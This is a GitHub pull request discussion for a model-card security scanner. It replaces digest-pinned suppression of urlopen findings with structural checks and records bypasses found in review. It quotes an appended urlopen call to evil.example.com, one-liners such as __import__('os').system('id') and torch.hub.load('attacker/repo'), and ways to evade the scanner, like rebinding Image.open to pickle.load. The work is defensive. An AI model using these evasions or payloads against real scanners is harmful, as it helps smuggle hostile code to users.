Skip to content

fix: safely suppress verified Hugging Face model-card image examples - #1791

Open
mldangelo-oai wants to merge 12 commits into
mainfrom
mdangelo/codex/fix-hf-readme-doc-false-positives-20260728
Open

fix: safely suppress verified Hugging Face model-card image examples#1791
mldangelo-oai wants to merge 12 commits into
mainfrom
mdangelo/codex/fix-hf-readme-doc-false-positives-20260728

Conversation

@mldangelo-oai

@mldangelo-oai mldangelo-oai commented Jul 30, 2026

Copy link
Copy Markdown
Contributor

Summary

Model cards whose only urlopen use is the documented Image.open(urlopen(<literal huggingface.co image URL>)) sample-image example no longer raise actionable urllib/urlopen network findings.

What changed from the original approach

The first version of this PR pinned six (size, sha256) pairs — three timm model cards × LF/CRLF — and downgraded findings only for exact whole-file matches.

That snippet is not specific to those three cards. It is emitted verbatim by timm's model-card generator, so it is byte-identical across the thousands of timm cards on the Hub. Pinning digests fixed the false positive for three files and left it in place everywhere else, and any regenerated or edited card — even a one-line addition — reintroduced it. It was a fixture list, not a scanner rule, with unbounded maintenance cost.

Recognition is now structural, mirroring the requests.get example validator already in network_comm.py:

  • exactly one from urllib.request import urlopen, no alias;
  • urlopen never rebound, shadowed, aliased, or reached via attribute;
  • every urlopen call takes exactly one literal str argument that passes the shared huggingface.co documented-image URL check (HTTPS, no userinfo/port/fragment, no .. segments, image suffix);
  • the response flows straight into Image.open(...) as its only argument.

The huggingface.co URL validation used by the requests path is extracted into _is_official_huggingface_documented_image_url and shared, rather than duplicated.

Proven fences are position-scoped

A proven fence speaks only for itself. Suppression keys off the finding's byte position, so an early version was bypassable: appending

```python
from urllib.request import urlopen
urlopen('https://evil.example.com/a')
```

to a valid card suppressed the finding, because the reported position fell inside the benign fence. Any urlopen/from urllib token outside a proven fence now disables the downgrade for the whole file — the same way the requests path tracks unvalidated references.

Verification

Case Before (digests) Now
3 pinned cards, LF + CRLF informational informational
Any other card with the same generated snippet actionable (FP) informational
Second fence with urlopen('https://evil…') actionable actionable
urlopen in prose / unfenced actionable actionable
Attacker host, plain HTTP, URL userinfo, .. traversal, non-image suffix actionable actionable
Aliased urlopen, non-literal URL, response not into Image.open actionable actionable
Non-.md/.markdown or non-documentation filename actionable actionable
--no-whitelist / --strict, truncated, detector failure, finding limit actionable actionable

The three real cards are kept as positive fixtures — they now prove the check works on real artifacts instead of being the digest source.

tests/scanners/test_text_scanner.py + tests/detectors/test_network_comm_detector.py: 1767 passed. Ruff and mypy clean.

Two tests were asserting the digest premise, not a security property

Worth flagging explicitly, because it changes what the suite proves:

  1. "Any byte changed ⇒ fail closed" fired on cosmetic rewrites. img = Image.open(...)out = Image.open(...) is a variable rename, not an attack; it is now asserted to stay informational.

  2. The appended-attack tests asserted the benign urlopen finding stayed CRITICAL. The digest check was a change-tripwire, not a detector. I verified on main, independent of this PR: a README.md containing only torch.hub.load('attacker/repo'), @__import__('os').system('id'), or python -c "__import__('os').system('id')" in a fence scans clean — zero actionable findings. Those tests never proved the attack was detected.

    They are replaced by a no-sheltering invariant: actionable(attack_only) ⊆ actionable(attack + trusted_example). Concatenation can only ever add findings, so the documented snippet cannot launder adjacent content. The requests-based attack case does produce findings and is asserted to fail closed.

Follow-up (pre-existing, not addressed here)

TextScanner does not flag torch.hub.load(...), __import__('os').system(...), or shell execution inside model-card code fences. That gap predates this PR and is unchanged by it, but it was previously masked in this suite by the digest tripwire and is worth its own issue.

Copilot AI review requested due to automatic review settings July 30, 2026 18:16
@mldangelo-oai

Copy link
Copy Markdown
Contributor Author

@codex review

@chatgpt-codex-connector

Copy link
Copy Markdown

Codex Review: Didn't find any major issues. Breezy!

Reviewed commit: f088adcba8

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR updates the TextScanner to downgrade network communication findings to informational only for a small set of revision-pinned Hugging Face model-card README payloads that exactly match expected size + SHA-256 digests (including LF/CRLF variants), reducing false positives while keeping existing “fail closed” behavior for incomplete analysis and policy overrides.

Changes:

  • Add a digest-verified allowlist for three specific Hugging Face timm model-card READMEs and downgrade only the corresponding urllib/urlopen findings to INFO when whitelisting is enabled and analysis is complete.
  • Thread an explicit policy flag through network-finding classification so suppression can be disabled when scans are incomplete/limited or whitelisting is turned off.
  • Add extensive regression coverage (whitelist modes, CLI flags, tampering/near-match, truncation, detector failure, finding limits, LF/CRLF) and add the pinned model-card fixtures.

Reviewed changes

Copilot reviewed 6 out of 6 changed files in this pull request and generated 1 comment.

Show a summary per file
File Description
modelaudit/scanners/text_scanner.py Introduces digest-verified Hugging Face README recognition and conditional network-finding downgrade logic.
tests/scanners/test_text_scanner.py Adds regression tests to ensure the downgrade is narrowly-scoped and fails closed under truncation/limits/failures and policy overrides.
tests/assets/huggingface_model_cards/timm_mobilenetv3_small_100.lamb_in1k_README.txt Adds pinned model-card fixture used to validate the digest allowlist behavior.
tests/assets/huggingface_model_cards/timm_convnext_femto.d1_in1k_README.txt Adds pinned model-card fixture used to validate the digest allowlist behavior.
tests/assets/huggingface_model_cards/timm_repvgg_a0.rvgg_in1k_README.txt Adds pinned model-card fixture used to validate the digest allowlist behavior.
CHANGELOG.md Documents the new false-positive suppression behavior for the verified model cards.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines 2816 to 2819
finding: dict[str, Any],
*,
allow_verified_huggingface_documentation: bool = True,
) -> bool:
@github-actions

github-actions Bot commented Jul 30, 2026

Copy link
Copy Markdown
Contributor

Workflow run and artifacts

Performance Benchmarks

Compared 13 shared benchmarks with a regression threshold of 15%.
Status: 0 regressions, 0 improved, 13 stable, 0 new, 0 missing.
Aggregate shared-benchmark median: 4.257s -> 4.257s (-0.0%).

Workload Benchmark Target Size Files Baseline Current Change Status
direct-malicious-upload tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_direct_malicious_upload malicious_reduce 52 B 1 189.0us 183.9us -2.7% stable
warm-cache-rescan tests/benchmarks/test_scan_benchmarks.py::test_scan_warm_cached_repository_rescan release-candidate 547.3 KiB 32 138.85ms 135.11ms -2.7% stable
nested-payload-review tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_nested_payload_review[nested_base64] nested_base64 98 B 1 254.6us 249.4us -2.0% stable
padded-multi-stream-upload tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_padded_multi_stream_upload multi_stream_padded 4.1 KiB 1 300.8us 294.9us -2.0% stable
mixed-model-repository tests/benchmarks/test_scan_benchmarks.py::test_scan_release_candidate_repository release-candidate 547.3 KiB 32 625.99ms 637.08ms +1.8% stable
nested-payload-review tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_nested_payload_review[nested_raw] nested_raw 78 B 1 237.9us 235.3us -1.1% stable
duplicate-heavy-registry tests/benchmarks/test_scan_benchmarks.py::test_scan_duplicate_registry_snapshot registry-snapshot 915.2 KiB 13 575.48ms 579.09ms +0.6% stable
nested-payload-review tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_nested_payload_review[nested_hex] nested_hex 130 B 1 262.9us 261.7us -0.5% stable
rejected-basic-auth-candidates tests/benchmarks/test_scan_benchmarks.py::test_rejected_basic_auth_candidates_scan_linearly - 371.1 KiB 1 2.431s 2.420s -0.4% stable
single-checkpoint-preflight tests/benchmarks/test_scan_benchmarks.py::test_scan_single_checkpoint_before_load single_checkpoint.pkl 183.0 KiB 1 106.77ms 106.36ms -0.4% stable
suspicious-pickle-intake tests/benchmarks/test_scan_benchmarks.py::test_scan_suspicious_pickle_intake suspicious-intake 183.8 KiB 4 146.92ms 147.46ms +0.4% stable
chunked-upload-stream tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_chunked_upload_stream chunked_stream 278.2 KiB 1 117.03ms 116.63ms -0.3% stable
clean-training-checkpoint tests/benchmarks/test_picklescan_benchmarks.py::test_picklescan_clean_training_checkpoint safe_large 278.2 KiB 1 114.00ms 114.06ms +0.0% stable

@chatgpt-codex-connector

Copy link
Copy Markdown

Security review completed. No security issues were found in this pull request.

Reviewed commit: f088adcba8

View security finding report

ℹ️ About Codex security reviews in GitHub

This is an experimental Codex feature. Security reviews are triggered when:

  • You comment "@codex security review"
  • A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review

Once complete, Codex will leave suggestions, or a comment if no findings are found.

Copilot AI review requested due to automatic review settings August 1, 2026 13:19
…f by digest

The digest allowlist suppressed the false positive for exactly three model
cards. The snippet it pins is emitted verbatim by timm's card generator, so the
identical false positive remained on every other card using it, and any
regenerated or edited card reintroduced it.

Recognition is now structural: within a Python fence, every urlopen use must be
a single literal huggingface.co documented-image URL flowing straight into
Image.open(...). Proven fences are position-scoped, and any urlopen/urllib token
outside a proven fence disables the downgrade for the whole file - without that,
appending a second fence containing urlopen('https://evil...') was suppressed,
because the reported finding position fell inside the benign fence.

The three real model cards are kept as positive fixtures: they now prove the
check works on real artifacts rather than acting as digest sources.

Two tests were asserting the digest premise rather than a security property.
'Any byte changed' fired on cosmetic variable renames, and the appended-attack
tests asserted the benign urlopen finding stayed CRITICAL - the digest check was
a change-tripwire, not a detector. Those payloads (torch.hub.load, __import__,
shell in fences) produce no TextScanner finding on their own, before or after
this change. They are now covered by a no-sheltering invariant instead.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@mldangelo
mldangelo force-pushed the mdangelo/codex/fix-hf-readme-doc-false-positives-20260728 branch from 5736fec to 4652710 Compare August 1, 2026 13:19

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 465271095f

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +2386 to +2388
while opening := _PYTHON_README_FENCE_PATTERN.search(data, cursor):
if len(spans) >= _MAX_README_IMAGE_EXAMPLE_FENCES:
return ()

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Bound all inspected fences, not only accepted ones

When a Markdown file contains many invalid Python fences mentioning urlopen, len(spans) remains zero, so this loop can parse and walk every fence despite _MAX_README_IMAGE_EXAMPLE_FENCES. Since TextScanner accepts documentation payloads up to 100 MiB, an attacker-controlled model card can contain hundreds of thousands of small near-match fences and impose excessive CPU work during a scan. Track the number of encountered fence openings, as _index_official_readme_sample_image_fences already does, and fail closed after the configured limit.

Useful? React with 👍 / 👎.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 7 out of 7 changed files in this pull request and generated no new comments.

Suppressed comments (2)

modelaudit/detectors/network_comm.py:2366

  • _is_official_huggingface_documented_image_url() currently accepts any https://huggingface.co/.../resolve/... URL with an image suffix. That means the README/model-card downgrade can apply to attacker-controlled Hugging Face repos/datasets (still on huggingface.co), which weakens the intended “official sample-image URL only” constraint and could hide actionable network behavior.

Consider restricting this to the exact documented sample image path used by the generator (e.g. /datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png, optionally with download=true) so only the known inert example is downgraded.

def _is_official_huggingface_documented_image_url(url: str) -> bool:
    """Return whether a URL is a bounded HTTPS fetch of a documented huggingface.co image."""
    try:
        parsed = urlsplit(url)
        port = parsed.port

modelaudit/detectors/network_comm.py:2370

  • official_readme_urlopen_image_example_spans() is @lru_cache’d with the full data: bytes payload as the cache key. Since TextScanner can inspect up to DEFAULT_TEXT_CONTENT_SECURITY_SCAN_BYTES (100MB), the cache can pin a large README payload in memory after scanning completes (until the next call evicts it).

Since this helper is typically consulted only a small number of times per file (e.g., for the urlopen + from urllib findings), consider dropping the global lru_cache (or moving caching to a per-scan/per-file scope) to avoid retaining large untrusted payloads in process memory.

@lru_cache(maxsize=1)
def official_readme_urlopen_image_example_spans(data: bytes) -> tuple[tuple[int, int], ...]:

@mldangelo
mldangelo enabled auto-merge (squash) August 1, 2026 13:31
An adversarial review of my own rework found two ways to abuse the downgrade.

1. The whole-file guard only looked for the literal bytes 'urlopen' and
   'from urllib'. The detector emits ONE network_library:urllib finding per file
   and retargets it to the earliest urllib token, so a second fence written as
   'import urllib.request' + 'urllib.request.build_opener()' - which contains
   neither guarded token - inherited the benign example's position and was
   downgraded with it. 'URLopener' evades a byte-substring check too, being
   case-sensitively distinct from 'urlopen'. Guard on bare 'urllib'/'urlopen'.

2. The fence body was otherwise unconstrained and the response sink was matched
   by NAME only, so a fence could define its own 'class Image' whose 'open'
   exec'd the downloaded bytes and still qualify. Image must now provably come
   from 'from PIL import Image', may not be rebound or aliased, and bare-name
   execution primitives plus dunder/system attribute access are rejected.

Attribute access is checked far more narrowly than bare names: documented cards
legitimately call model.eval(), which is unrelated to the eval builtin. Guarding
both the same way regressed all three real model cards.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Copilot AI review requested due to automatic review settings August 1, 2026 14:11

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 007d609ce1

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +2514 to +2515
if isinstance(node, ast.Name) and node.id == "Image" and not isinstance(node.ctx, ast.Load):
return False

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Reject mutations of PIL's Image.open sink

When a model-card fence imports PIL.Image but then assigns Image.open = pickle.load, this check misses the rebinding because the assignment target is an ast.Attribute, not an ast.Name with store context. The validator therefore accepts a subsequent Image.open(urlopen("https://huggingface.co/attacker/repo/resolve/main/payload.png")); the remote response is deserialized rather than decoded as an image, yet both urllib findings are downgraded to INFO and TextScanner reports success. Reject writes/deletes to Image.open (and other ways of replacing the imported Image binding) before treating the fence as inert.

AGENTS.md reference: AGENTS.md:L25-L25

Useful? React with 👍 / 👎.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 7 out of 7 changed files in this pull request and generated no new comments.

Suppressed comments (1)

modelaudit/detectors/network_comm.py:2373

  • official_readme_urlopen_image_example_spans is decorated with @lru_cache(maxsize=1) while taking the full file payload (data: bytes) as the cache key. In long-running processes this can pin the last-scanned Markdown payload in memory indefinitely (until another call replaces it), even after the scan completes. Since this cache is only needed to avoid recomputing spans within a single file, consider moving span caching to the caller (compute once per file and pass spans down) instead of globally caching on the payload bytes.
@lru_cache(maxsize=1)
def official_readme_urlopen_image_example_spans(data: bytes) -> tuple[tuple[int, int], ...]:
    """Return byte spans of Python fences whose only ``urlopen`` use fetches a documented image.

    Model-card generators (notably ``timm``) emit a fixed ``Image.open(urlopen(<literal URL>))``

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants